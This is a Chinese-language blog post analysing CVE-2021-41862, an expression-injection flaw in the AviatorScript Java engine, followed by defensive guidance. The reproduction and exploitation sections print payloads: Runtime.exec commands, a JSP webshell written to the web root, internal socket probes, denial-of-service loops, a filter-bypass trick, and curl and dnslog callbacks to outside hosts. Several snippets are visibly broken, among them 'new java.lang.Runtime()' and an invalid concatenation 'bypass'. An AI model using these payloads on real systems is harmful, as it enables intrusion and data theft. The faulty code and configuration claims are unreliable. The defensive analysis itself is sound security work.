Java表达式注入漏洞CVE-2021-41862深度解析与防御实践

Java表达式注入漏洞CVE-2021-41862深度解析与防御实践

1. 项目概述:当表达式引擎成为攻击入口

最近在梳理一些开源组件的安全历史时,我又一次注意到了CVE-2021-41862。这个编号可能对很多人来说有点陌生,但提到AviatorScript,不少做Java高性能计算或者规则引擎的开发者应该不陌生。这是一个轻量级、高性能的Java表达式求值引擎,在很多需要动态配置计算规则的系统里都能看到它的身影,比如风控模型的实时评分、电商平台的动态定价、工作流中的条件判断等等。它的核心卖点就是快,通过直接将表达式编译成JVM字节码来执行,避免了传统解释执行的性能损耗。

然而,CVE-2021-41862这个漏洞,恰恰就出在这个“高性能”的实现机制上。简单来说,在默认的安全配置下,攻击者可以构造一个特殊的表达式,让AviatorScript去实例化并执行任意Java类,这几乎等同于在应用服务器上开了一个执行任意代码的后门。想象一下,如果你的一个线上系统,因为一个动态配置的促销折扣计算公式,就被人远程执行了Runtime.getRuntime().exec(“rm -rf /”),那场面简直不敢想。这个漏洞的危险性在于,它非常容易被忽视。很多开发者引入AviatorScript时,只关注了其功能的强大和性能的优越,却默认信任了它的执行沙箱,没有仔细审查其安全边界。今天,我就结合这个漏洞,和大家深入聊聊表达式注入漏洞的原理、在AviatorScript中的具体成因、如何复现和验证,以及最重要的——我们该如何防御和修复。无论你是负责系统安全的工程师,还是正在使用类似组件的开发者,理解这个漏洞都能帮你避开一个大坑。

2. 漏洞核心原理与AviatorScript架构解析

要理解CVE-2021-41862,我们不能只停留在“有个漏洞”的层面,必须深入到AviatorScript的设计和实现中去。这就像看病,得先知道身体的正常运作机制,才能找到病灶所在。

2.1 AviatorScript 的工作机制:从表达式到字节码

AviatorScript不是一个完整的脚本语言,它主要专注于表达式求值。你给它一个字符串,比如”a + b * c”,并传入一个包含变量a、b、c的上下文(Map),它就能快速算出结果。它的高性能秘诀在于“编译执行”。

  1. 词法分析与语法分析:首先,AviatorScript会将你输入的表达式字符串,解析成一棵抽象语法树(AST)。这个过程会检查表达式的语法是否正确,比如括号是否匹配,运算符是否合法。
  2. AST优化:引擎会对AST进行一些优化,比如常量折叠(把2+3直接计算成5),以减少运行时开销。
  3. 字节码生成(关键步骤):这是最核心也最危险的一步。AviatorScript使用ASM(一个Java字节码操作框架)动态生成一个Java类。这个类包含一个execute方法,其方法体就是你的表达式逻辑。例如,对于表达式”a + b”,它可能会生成一个类似下面伪代码的类:
    public class GeneratedExpression_0 { public Object execute(Map<String, Object> env) { Object a = env.get(“a”); Object b = env.get(“b”); return ((Number)a).doubleValue() + ((Number)b).doubleValue(); } }
  4. 类加载与执行:生成的字节码会被一个自定义的ClassLoader(通常是ExpressionClassLoader)加载到JVM中,然后实例化并调用其execute方法得到结果。由于是标准的JVM字节码,执行速度与手写的Java代码几乎无异。

这个“编译为字节码”的机制,是AviatorScript性能的基石,但也为安全漏洞埋下了伏笔。因为它本质上赋予了表达式“创造新类”的能力。

2.2 漏洞的根源:过于宽松的“白名单”

问题出在:AviatorScript允许在表达式中做什么?

在默认配置下,AviatorScript的功能非常强大。除了基本的算术和逻辑运算,它还允许通过new关键字来实例化Java对象。例如,表达式”new java.util.ArrayList()”是合法的,它会返回一个空的ArrayList。

从功能角度看,这很强大,你可以直接在表达式里操作复杂对象。但从安全角度看,这无异于打开了潘多拉魔盒。因为new后面可以跟任何在类路径上可访问的类的全限定名

漏洞利用的关键类就是java.lang.Runtime。这个类可以执行系统命令。在默认配置下,攻击者可以构造如下表达式:

new java.lang.Runtime().exec(“calc.exe”)

或者更常见的,通过反射来绕过可能的字符串检测:

let clazz = java.lang.Class.forName(“java.lang.Runtime”); let runtime = clazz.getMethod(“getRuntime”).invoke(null); runtime.exec(“open /Applications/Calculator.app”);

为什么这是危险的?因为很多使用AviatorScript的场景,表达式来源是外部可配置的。例如:

  • 规则引擎:运营人员在后台配置的风控规则”user.riskScore > 80 && new java.lang.Runtime().exec(‘恶意命令’)”
  • 动态公式:用户在表单中输入的计价公式,被后台用AviatorScript计算。
  • 模板渲染:某些模板中嵌入了简单的表达式逻辑。

如果系统没有对表达式内容做严格的过滤和限制,攻击者就可以通过输入上述恶意表达式,在服务器上以运行该Java应用的权限执行任意命令,从而导致服务器被完全控制。

注意:这里有一个常见的误解,认为Java应用部署在容器里就很安全。实际上,一旦能执行Runtime.exec(),攻击者就能在容器内做任何事情,包括窃取数据、植入挖矿程序、攻击内网其他服务等,危害程度极高。

2.3 与常见注入漏洞的对比

为了更清晰地定位这个漏洞,我们可以把它和我们更熟悉的SQL注入、命令注入做个对比:

漏洞类型注入点恶意输入目标最终执行环境
SQL注入应用程序拼接的SQL语句字符串数据库服务器数据库引擎(如MySQL, PostgreSQL)
命令注入应用程序调用的系统命令字符串(如Runtime.exec应用服务器操作系统系统Shell(如bash, cmd)
表达式注入 (CVE-2021-41862)表达式引擎执行的表达式字符串应用服务器的JVMJava虚拟机(通过字节码)

可以看到,表达式注入的危害链更短,威力更大。它不需要像SQL注入那样去猜测数据库结构,也不需要像命令注入那样去突破应用层的字符串过滤。它直接利用了表达式引擎自身的强大功能(实例化类),将恶意代码注入到应用的核心运行时(JVM)中执行。

3. 漏洞复现与环境搭建

纸上得来终觉浅,绝知此事要躬行。安全研究尤其如此,只有亲手复现了漏洞,才能对其危害有最直观的认识。下面我带大家搭建一个最简单的复现环境。

3.1 准备漏洞版本AviatorScript

CVE-2021-41862影响的是5.2.7及之前的所有版本。我们这里使用一个明确的漏洞版本,例如5.2.6进行复现。

如果你使用Maven,可以在一个干净的测试项目的pom.xml中添加以下依赖:

<dependency> <groupId>com.googlecode.aviator</groupId> <artifactId>aviator</artifactId> <version>5.2.6</version> <!-- 漏洞版本 --> </dependency>

如果你希望更简单,可以直接下载jar包。但为了后续分析,建议使用Maven项目,方便引入源码。

3.2 编写一个简单的测试程序

我们创建一个简单的Java类,模拟一个使用AviatorScript计算用户输入表达式的脆弱应用。

import com.googlecode.aviator.AviatorEvaluator; import java.util.HashMap; import java.util.Map; public class VulnerableAviatorDemo { public static void main(String[] args) { // 模拟从外部(如HTTP参数、配置文件、数据库)获取的表达式 // 这里我们硬编码一个恶意表达式作为演示 String userInputExpression = “new java.lang.Runtime().exec(‘calc.exe’)”; // Windows弹出计算器 // String userInputExpression = “new java.lang.Runtime().exec(‘open -a Calculator’)”; // macOS // String userInputExpression = “new java.lang.Runtime().exec(‘xcalc’)”; // Linux (需安装xcalc) System.out.println(“[+] 正在计算表达式: “ + userInputExpression); try { // 这是最危险的使用方式:直接执行未经任何过滤和限制的用户输入 Object result = AviatorEvaluator.execute(userInputExpression); System.out.println(“[+] 表达式执行完成。结果(可能为null): “ + result); } catch (Exception e) { System.err.println(“[-] 执行表达式时出错: “ + e.getMessage()); e.printStackTrace(); } } }

3.3 执行与效果观察

  1. 将上述代码保存为VulnerableAviatorDemo.java
  2. 确保你的pom.xml中依赖的是5.2.6版本,然后编译运行。
  3. 在Windows环境下,如果你的Java应用有图形界面权限(比如在本地IDE中运行),你会看到系统计算器(calc.exe)被成功弹出。
  4. 在无图形界面的服务器环境(Linux/Windows Server),命令同样会执行,只是你看不到图形界面。你可以将命令换成touch /tmp/hacked_by_aviatorcurl a-malicious-website.com来验证命令确实被执行了。

复现成功的关键标志:进程成功创建。即使exec()方法返回的Process对象可能因为IO问题抛出异常,但命令本身在调用exec()的瞬间就已经由操作系统启动执行了。这就是为什么即使捕获了异常,漏洞依然被成功利用的原因。

实操心得:在真实漏洞复现或渗透测试中,我们通常会使用“延时”或“DNS外带”等无回显的技巧来验证命令执行。例如,执行ping -c 4 your-unique-subdomain.dnslog.cnsleep 5。如果应用响应时间明显变长,或者DNS日志收到了查询记录,就证明漏洞存在且可利用。这比弹计算器更适用于生产环境。

4. 漏洞深度利用与影响范围分析

复现了弹计算器,只是理解了漏洞的“皮毛”。一个真正的安全研究者或攻击者,会思考如何将这个漏洞的威力最大化。我们来看看在默认配置下,这个漏洞还能做些什么。

4.1 超越Runtime.exec:其他危险类

Runtime.exec是最直接的利用方式,但绝不是唯一。在默认的AviatorScript白名单(其实是黑名单机制缺失)下,攻击者可以实例化任何类,这意味着:

  1. 文件操作:利用java.io.FileWriterjava.nio.file.Files类,写入Webshell。
    let fw = new java.io.FileWriter(“/var/www/html/shell.jsp”); fw.write(“<%@page import=‘java.util.*,java.io.*’%><% if(request.getParameter(“cmd”)!=null) { Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); … %>”); fw.close();
  2. 网络连接:利用java.net.Socket发起内网探测或攻击。
    let s = new java.net.Socket(“192.168.1.1”, 22); // 探测内网SSH服务
  3. 反射与类加载:利用java.lang.ClassLoader定义恶意类,实现更复杂的内存马。
    let cl = new com.googlecode.aviator.ExpressionClassLoader(); // 理论上可以通过defineClass加载恶意字节码,实现更隐蔽的后门
  4. 线程与内存:创建大量线程或对象,发起拒绝服务攻击。
    // 消耗CPU while(true) { let i = 1 + 1; } // 消耗内存 let list = new java.util.ArrayList(); for(i=0; i<1000000; i=i+1) { list.add(new byte[1024]); }

4.2 漏洞的隐蔽性与利用场景

这个漏洞的可怕之处在于其极高的隐蔽性和广泛的适用场景。

隐蔽性

  • 无异常:很多危险操作(如创建文件、建立网络连接)在表达式层面可能不会抛出应用层异常,只是返回一个null或对象引用,这使得在日志中很难发现异常。
  • 混淆绕过:攻击者可以对表达式进行简单的混淆,例如使用字符串拼接、十六进制编码、反射调用等,绕过基于关键词的简单WAF或过滤规则。
    // 字符串拼接绕过“Runtime”关键词检测 let cmd = “calc”; new java.lang.”Run” + “time”.exec(cmd + “.exe”);
  • 上下文利用:表达式可以访问传入的变量上下文。如果上下文中包含了敏感对象(如数据库连接DataSource、HTTP请求HttpServletRequest),攻击者甚至可以直接操作这些对象,无需new

典型受影响场景

  1. SAAS或PaaS平台的规则自定义:允许用户上传自定义业务规则或公式的平台。
  2. 低代码/零代码平台:通过拖拽和表达式配置业务逻辑,表达式引擎往往是核心。
  3. 金融或风控系统的策略中心:策略规则经常需要动态调整,表达式引擎是首选。
  4. 报表系统的动态计算字段:允许用户自定义计算逻辑。
  5. 任何将AviatorScript配置为默认或推荐表达式引擎的框架:开发者可能在不了解其安全配置的情况下直接使用。

4.3 漏洞链组合利用的可能性

在实战中,高危漏洞很少单独存在。CVE-2021-41862可以与其他漏洞或弱点结合,形成更具破坏力的攻击链。

  • 结合SSRF:如果应用本身存在SSRF漏洞,能访问内网服务,但无法执行命令。攻击者可以利用SSRF将恶意表达式作为参数,发送到内部另一个使用了脆弱版本AviatorScript的服务上,从而在内部网络实现命令执行,绕过外部防火墙。
  • 结合文件上传:如果应用存在文件上传漏洞但无法获取执行权限。攻击者可以先上传一个JSP Webshell文件到临时目录,然后通过AviatorScript表达式注入漏洞,执行命令将该文件移动到Web目录,从而获得一个稳定的Web后门。
  • 权限提升:如果Java应用本身以高权限(如root、system)运行,那么通过此漏洞执行的命令也就拥有了相应的高权限,可以完成更危险的操作。

5. 修复方案与安全加固实践

分析了漏洞的危害,接下来就是最关键的部分:如何修复和防御。对于使用AviatorScript的团队来说,这里有从紧急止血到彻底根治的多种方案。

5.1 官方修复方案:升级版本

最根本的修复方法是升级AviatorScript到已修复该漏洞的版本。根据官方信息,5.3.0及以上版本通过引入更严格的安全控制机制修复了此漏洞。

升级步骤

  1. 修改你的pom.xmlbuild.gradle文件,将AviatorScript依赖版本至少升级到5.3.0
    <dependency> <groupId>com.googlecode.aviator</groupId> <artifactId>aviator</artifactId> <version>5.3.0</version> <!-- 或更高版本 --> </dependency>
  2. 进行全面的回归测试。因为新版本可能引入了API变化或行为变更,需要确保你的业务逻辑不受影响。

5.3.0版本的核心修复:在默认配置下,禁用了new操作符和java.lang.Class.forName方法。这意味着之前那些直接new Runtime()的表达式现在会直接抛出异常,从根本上堵住了漏洞。

5.2 配置安全模式:如果无法立即升级

如果你的项目因为兼容性等原因无法立即升级到5.3.0,那么必须通过配置来启用安全模式。这是旧版本中最重要的安全加固手段。

AviatorEvaluator提供了aviator.eval.mode系统属性来控制评估模式:

  • aviator.eval.mode=EVAL默认模式,不安全。允许使用newforName等。
  • aviator.eval.mode=INTERPRETER解释器模式,相对安全。不使用ASM编译字节码,而是通过解释器执行AST。性能有下降,但禁用了new操作符。
  • aviator.eval.mode=ASM编译模式,但可配置白名单。需要结合AviatorEvaluator.setOption进行细粒度控制。

推荐做法(针对5.2.x版本)

  1. 启动参数配置:在JVM启动参数中强制设置为解释器模式。
    -Daviator.eval.mode=INTERPRETER
  2. 代码中硬编码配置(更可靠):在应用初始化时,最早的位置(如Spring的@PostConstruct或Servlet的init方法中)执行:
    import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.Options; public class SecurityConfig { @PostConstruct public void initAviatorSecurity() { // 设置为解释器模式,禁用new操作符 AviatorEvaluator.setOption(Options.EVAL_MODE, EvalMode.INTERPRETER); // 进一步地,可以禁用函数(如果不需要) // AviatorEvaluator.getInstance().disableFeature(Feature.Assignment); // AviatorEvaluator.getInstance().disableFeature(Feature.Lambda); System.out.println(“[INFO] AviatorScript已设置为安全解释器模式。”); } }

注意事项:设置为INTERPRETER模式会带来明显的性能损失,可能达不到引入AviatorScript的初衷。这只能作为临时缓解措施,最终目标仍是升级到安全版本。

5.3 自定义函数与白名单机制(进阶安全)

对于5.3.0及以上版本,或者对安全性有极致要求的场景,AviatorScript提供了更细粒度的安全控制——自定义函数和白名单

核心思想:不暴露完整的Java表达能力,而是将业务需要的特定功能封装成安全的“函数”,暴露给表达式使用。

操作步骤

  1. 禁用所有不安全特性:在初始化时,明确关闭危险功能。
    AviatorEvaluator.setOption(Options.FEATURE_SET, Feature.getCompatibleFeatures()); // 使用兼容特性集 AviatorEvaluator.getInstance().disableFeature(Feature.NewInstance); // 明确禁用new AviatorEvaluator.getInstance().disableFeature(Feature.InstanceMethodCall); // 谨慎:禁用实例方法调用(根据需求)
  2. 注册自定义安全函数:将业务需要的操作封装成函数。
    // 例如,业务需要一个“发送消息”的功能,而不是允许任意网络调用 AviatorEvaluator.addFunction(new AbstractFunction() { @Override public String getName() { return “sendAlert”; } @Override public AviatorObject call(Map<String, Object> env, AviatorObject arg1) { // 参数类型检查和过滤 String message = FunctionUtils.getStringValue(arg1, env); // 实现安全的发送逻辑,比如调用内部服务,而不是直接Socket alertService.send(message); return AviatorNil.NIL; } }); // 表达式里只能这样用 // sendAlert(“高风险交易”) — 安全 // new Socket(...) — 将被拒绝执行
  3. 使用ClassFilter(5.3.3+):更高版本支持类过滤器,可以精确控制哪些类可以被访问。
    AviatorEvaluator.getInstance().setClassFilter(new ClassFilter() { @Override public boolean permit(Class<?> clazz) { // 只允许数学、工具类等安全类 return clazz.getName().startsWith(“java.lang.Math”) || clazz.getName().startsWith(“java.util.Date”) || clazz.getName().startsWith(“com.yourcompany.safeutils.”); } });

5.4 输入验证与表达式沙箱

除了引擎侧的加固,应用层也必须做好防御。

  1. 严格的输入验证
    • 白名单校验:如果表达式的内容是预定义的(如从下拉框选择),坚决不使用字符串拼接,而是使用映射到安全表达式ID的方式。
    • 黑名单过滤(效果有限):如果必须接受自由文本,可以过滤newforNameRuntimeProcessBuildergetClass()等危险关键词及其变种(大小写、双写、编码)。但这种方法很容易被绕过,只能作为辅助手段。
  2. 表达式沙箱(终极方案):对于不可信来源的表达式,最安全的方式是在一个完全隔离的环境中执行。
    • 使用Java SecurityManager:配置严格的策略文件,禁止表达式执行类创建文件、网络连接、执行命令等操作。但SecurityManager在新版Java中已被标记为废弃,且配置复杂。
    • 在独立进程中执行:将表达式求值服务部署为一个独立的微服务,该服务运行在高度受限的容器或用户权限下。即使被攻破,影响范围也仅限于该服务。主应用通过RPC调用该服务获取结果。
    • 使用真正的沙箱方案:考虑使用更专业的、设计上就考虑沙箱的脚本引擎,如Oracle Nashorn(已废弃)的某些安全配置,或基于GraalVM的隔离上下文。

6. 漏洞挖掘与安全编码启示

CVE-2021-41862不是一个复杂的逻辑漏洞,但它非常典型。它给所有开发者和架构师上了深刻的一课:永远不要信任任何外部输入,尤其是那些会被“执行”的输入

6.1 漏洞挖掘思路复盘

如果我们站在白盒审计的角度,如何发现这类漏洞?思路可以总结为:

  1. 定位危险API/组件:在项目中搜索AviatorEvaluator.executecompileeval等方法的调用点。
  2. 回溯数据流:检查传入这些方法的表达式字符串(第一个参数)的来源。是硬编码?配置文件?数据库?用户输入(HTTP请求参数、上传文件内容)?
  3. 判断输入是否可控:如果来源是用户输入或外部存储,则标记为“可疑”。
  4. 检查安全配置:查看调用点周围是否有安全配置,如setOptionEvalMode.INTERPRETER、自定义函数、ClassFilter等。如果没有,漏洞很可能存在。
  5. 构造POC验证:在测试环境,尝试向可控的输入点注入简单的测试表达式,如new java.util.Date(),看是否能成功返回一个日期对象,从而验证漏洞。

这个流程可以推广到审计任何“代码执行”类组件,如OGNL、SpEL、MVEL、JEXL等表达式引擎,以及Freemarker、Velocity等模板引擎。

6.2 给开发者的安全编码准则

  1. 最小权限原则:表达式引擎应该只拥有完成其任务所必需的最小权限。默认情况下应该是“什么都不允许”,然后按需开启功能。
  2. 默认安全配置:在引入一个第三方组件时,第一件事就是查阅其安全文档,了解默认配置是否安全。像AviatorScript 5.2.x的默认配置就是不安全的,这需要我们在项目初始化时就显式地将其配置为安全模式。
  3. 外部输入即威胁:所有来自系统外部的数据(HTTP参数、Header、Cookie、文件内容、数据库字段、RPC响应、消息队列内容)在进入核心执行逻辑(如表达式求值、数据库查询、命令执行)前,都必须经过严格的验证和过滤。
  4. 依赖项安全管理
    • 使用Maven Enforcer插件或OWASP Dependency-Check等工具,定期扫描项目依赖中的已知漏洞(CVE)。
    • 订阅依赖库的安全邮件列表或关注其GitHub Security Advisories。
    • 及时升级到安全版本,并做好兼容性测试。
  5. 纵深防御:不要只依赖一层防护。应该在表达式引擎层、应用逻辑层、网络层(WAF)等多个层面部署防御措施。即使一层被绕过,还有其他层提供保护。

6.3 漏洞修复后的验证

修复漏洞后,如何验证修复是否有效?

  1. 单元测试:编写安全的单元测试用例,专门测试恶意表达式是否会被正确拒绝。
    @Test(expected = ExpressionSyntaxErrorException.class) // 期望抛出语法错误异常 public void testMaliciousExpressionIsBlocked() { String malicious = “new java.lang.Runtime().exec(‘calc’)“; // 在配置了安全模式或升级后,此调用应失败 AviatorEvaluator.execute(malicious); } @Test public void testSafeExpressionWorks() { // 确保正常的业务表达式仍然可用 Long result = (Long) AviatorEvaluator.execute(“1 + 2 * 3”); assertEquals(7L, result.longValue()); }
  2. 集成测试/渗透测试:在测试环境中,模拟攻击者从真实的入口(如API接口)注入恶意表达式,确认系统返回的是预期的错误信息,而不是执行了命令。
  3. 代码审查:团队内进行交叉代码审查,确保所有使用AviatorScript的地方都遵循了新的安全规范。

CVE-2021-41862的教训是深刻的。它提醒我们,在追求性能和灵活性的同时,绝不能以牺牲安全为代价。作为开发者,我们需要对所使用的工具保持敬畏之心,理解其强大功能背后的风险,并通过审慎的配置和编码实践,构建真正健壮、安全的系统。每一次漏洞分析,都是对我们安全意识和技能的一次提升。